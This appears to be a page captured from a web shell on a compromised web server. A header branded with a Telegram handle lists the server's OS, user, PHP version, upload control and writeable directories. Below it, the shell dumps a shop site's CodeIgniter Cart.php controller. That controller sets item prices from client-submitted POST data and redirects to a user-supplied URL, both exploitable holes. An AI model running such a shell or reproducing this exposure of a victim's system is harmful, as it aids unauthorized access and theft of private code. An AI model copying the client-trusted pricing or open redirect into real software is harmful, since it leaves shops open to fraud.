https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/controllers/Cart.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
class Cart extends Public_Controller {
	public function __construct()
	{
		parent::__construct();
		$this->load->model('cart_model');   
		$this->load->model('product_m'); 
		$this->load->library('form_validation');
		$this->load->library('cart');
	}
	public function index() {	

		if(count($this->cart->contents()) > 0) {
			redirect(base_url('shipping'));
		} else {
			redirect(base_url('')); 
		}

		/* echo '<pre>';
		print_r($this->cart->contents());
		echo '</pre>'; */
		//get SEO
		$this->db->select('website_name')->from('configuration')->where('id_configuration', 1);
		$website_name = $this->db->get()->row();
		$this->data_header['browser_title'] =  ucwords($website_name->website_name) . ' - My Cart'; 
		$this->data_header['meta_description'] = ucwords($website_name->website_name) . ' - My Cart';
		if (!$this->cart->contents()){
			$data['message'] = '<p style="background:grey; color:white; padding:10px; margin-bottom:100px;">Your cart is empty</p>';
		} else {
			$data['message'] = $this->session->flashdata('message');
		}
		$this->session->set_userdata('is_from_cart', 'yes');
		$this->load->view("themes/$this->theme_no/header", $this->data_header);
		$this->load->view('cart', $data);
		$this->load->view("themes/$this->theme_no/footer", $this->data_footer); 
	}
	public function add()  {
		//check if there is post request, if not, reject & redirect
		if (empty($_POST)) {
			redirect('cart'); 
		}
		$data['id'] = (int) $this->input->post('product_id');	
		/* $data['name'] = ucwords($this->input->post('product_name')) . '<br>Ref:' . $this->input->post('product_code'); */
		$data['name'] = ucwords($this->input->post('product_name'));
		$data['qty'] = (int) $this->input->post('qty');
		$data['price'] = (int) $this->input->post('price');
		$data['options']['warehouse_name'] = '';
		$data['options']['warehouse_id'] = NULL;
		$this->cart->product_name_rules = '[:print:]'; //this is to eliminate cart product name restriction on special characters
		$this->cart->insert($data); 
		redirect('cart'); 	
	}
	
	public function remove($rowid) {
		
		$data = array(
			'rowid'   => $rowid,
			'qty'     => 0
		);
		$this->cart->update($data);
		redirect('cart');
	}

	public function removes($rowid) {
		if ($rowid=="all"){
			$this->cart->destroy();
		}else{
			$data = array(
				'rowid'   => $rowid,
				'qty'     => 0
			);
			$this->cart->update($data);
		}
		redirect('category/all-categories','refresh');
	}	
	public function update_cart() {
		//check if there is post request, if not, reject & redirect
		if (!isset($_POST['update_cart'])) { redirect('cart'); }
		// Recieve post values,calcute them and update
		$cart_info = $_POST['cart_array'] ;
		/* echo '<pre>';
		print_r($cart_info);
		echo '</pre>';
		exit();  */
		foreach( $cart_info as $sku => $cart) {
			//get product detail id
			$this->db->select('id_product_details')->from('product_details')->where('sku', $sku);
			$id_product_detail = $this->db->get()->row()->id_product_details;
			//check the minimum purchase qty required
			if(isset($this->session->userdata('customer')['customer_id'])) {
				//customer is logged in
				//check if customer is a reseller. if reseller use reseller min quantity
				$this->db->select('reseller_id')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id']);
				$reseller_id = $this->db->get()->row()->reseller_id;
				//check if reseller price already available (already input by admin)
				$this->db->select('price')->from('resellers_price')->where('reseller_id', $reseller_id)->where('product_detail_id', $id_product_detail);
				$count_reseller = $this->db->get()->num_rows();
				if($reseller_id != NULL && $count_reseller > 0) {
					//customer is reseller, and data already inputtedby admin. so use reseller min quantity
					$this->db->select('min_quantity')->from('resellers_price')->where('reseller_id', $reseller_id)->where('product_detail_id', $id_product_detail);
					$min_quantity = $this->db->get()->row()->min_quantity;
				} elseif($reseller_id == NULL) {
					$min_quantity = 1;
				} elseif($reseller_id != NULL && $count_reseller == 0) {
					//customer is a reseller, but data not input yet, or customer choose empty option..
					//then give default reseller min quantity
					//get reseller min quantity
					$this->db->select('min_quantity')->from('resellers_price')->where('reseller_id', $reseller_id)->where('product_detail_id', $id_product_detail);
					$min_quantity = $this->db->get()->row()->min_quantity;
				}
				if($cart['qty'] < $min_quantity) {
					//cart quantity is less than minimum quantity
					$this->session->set_flashdata('no_stock', "<br>
					<p style='background:grey; color:white; padding:5px; font-weight:bold;'>Sorry minimum quantity is {$min_quantity} pcs. Please choose higher quantity.</p>");
					redirect('cart');
				} 
			} 
			//check the available stock for current SKU
			$this->db->select('stock')->from('product_details')->where('sku', $sku);
			$available_stock = (int) $this->db->get()->row()->stock;
			if ($cart['qty'] > $available_stock) {
				//stocks are not enough
				$this->session->set_flashdata('no_stock', '<br>
				<p style="background:grey; color:white; padding:5px; font-weight:bold;">Sorry not enough stock for chosen quantity. Please choose smaller quantity.</p>');
				redirect('cart');
			} else {
				//stocks are enough	
				$rowid = $cart['rowid'];
				$price = $cart['price'];
				$qty = $cart['qty'];
				$amount = $price * $cart['qty'];
				$data = array(
					'rowid' => $rowid,
					'price' => $price,
					'amount' => $amount,
					'qty' => $qty
				);
				$this->cart->update($data);
			}
		} 
		redirect('cart');
	}
	//callback function validation cek stock available when add to cart
	public function cek_stock() {
		$id_product_details = $this->input->post('product_size'); 
		$chosen_quantity = (int) $this->input->post('qty'); 
		//get current stock froms product_details table
		$this->db->select('stock');
		$this->db->from('product_details');
		$this->db->where('id_product_details', $id_product_details);
		$query = $this->db->get(); 
		$current_stock = (int)  $query->row()->stock;
		//check if quantity is less or equal to current stock
		if ($chosen_quantity > $current_stock) {
			return FALSE;
		} else {
			return TRUE;  
		}	
	}
	/*email to user if product is available*/
	public function customer_notification(){
		$data = array(
			'id_products' 	=> (int) $this->input->post('product_id'),
			'email' 		=> $this->security->xss_clean($this->input->post('emailMeAvailable')),
		);
		$this->db->select('*');
		$this->db->from('customers_notification');
		$this->db->where('id_products', $data['id_products']);
		$this->db->where('email', $data['email']);
		$query1 = $this->db->get();
		$cek = $query1->row();
		if($cek != null){
			$this->session->set_flashdata('email_sended1', '<br>
				<p style="background:green; color:white; padding:5px; font-weight:bold;">
					Anda sudah mengirim e-mail untuk mengetahui informasi produk ini.<br> 
					Kami akan segera memberi tahu anda apabila stok tersedia.
				</p>'
			);
		}
		else{
			$this->db->insert('customers_notification',$data);
			$this->session->set_flashdata('email_sended', '<br>
				<p style="background:green; color:white; padding:5px; font-weight:bold;">
					Alamat E-mail diterima.<br> 
					Kami akan segera memberi tahu anda apabila stok tersedia.
				</p>'
			);
		}
		redirect($this->input->post('page_url'));
	}
	public function customer_notifications(){
		$data = array(
			'id_products' 	=> (int) $this->input->post('product_id'),
			'email' 		=> $this->security->xss_clean($this->input->post('emailMeAvailable')),
		);
		$this->db->select('*');
		$this->db->from('customers_notification');
		$this->db->where('id_products', $data['id_products']);
		$this->db->where('email', $data['email']);
		$query1 = $this->db->get();
		$cek = $query1->row();
		if($cek != null){
			$this->session->set_flashdata('email_sended1', '<br>
				<p style="background:green; color:white; padding:5px; font-weight:bold;">
					Anda sudah mengirim e-mail untuk mengetahui informasi produk ini.<br> 
					Kami akan segera memberi tahu anda apabila stok tersedia.
				</p>'
			);
		}
		else{
			$this->db->insert('customers_notification',$data);
			$this->session->set_flashdata('email_sended', '<br>
				<p style="background:green; color:white; padding:5px; font-weight:bold;">
					Alamat E-mail diterima.<br> 
					Kami akan segera memberi tahu anda apabila stok tersedia.
				</p>'
			);
		}
		redirect($this->input->post('page_url').'#'.$data['id_products']);
	}
}

https://t.me/RX1948 - 2025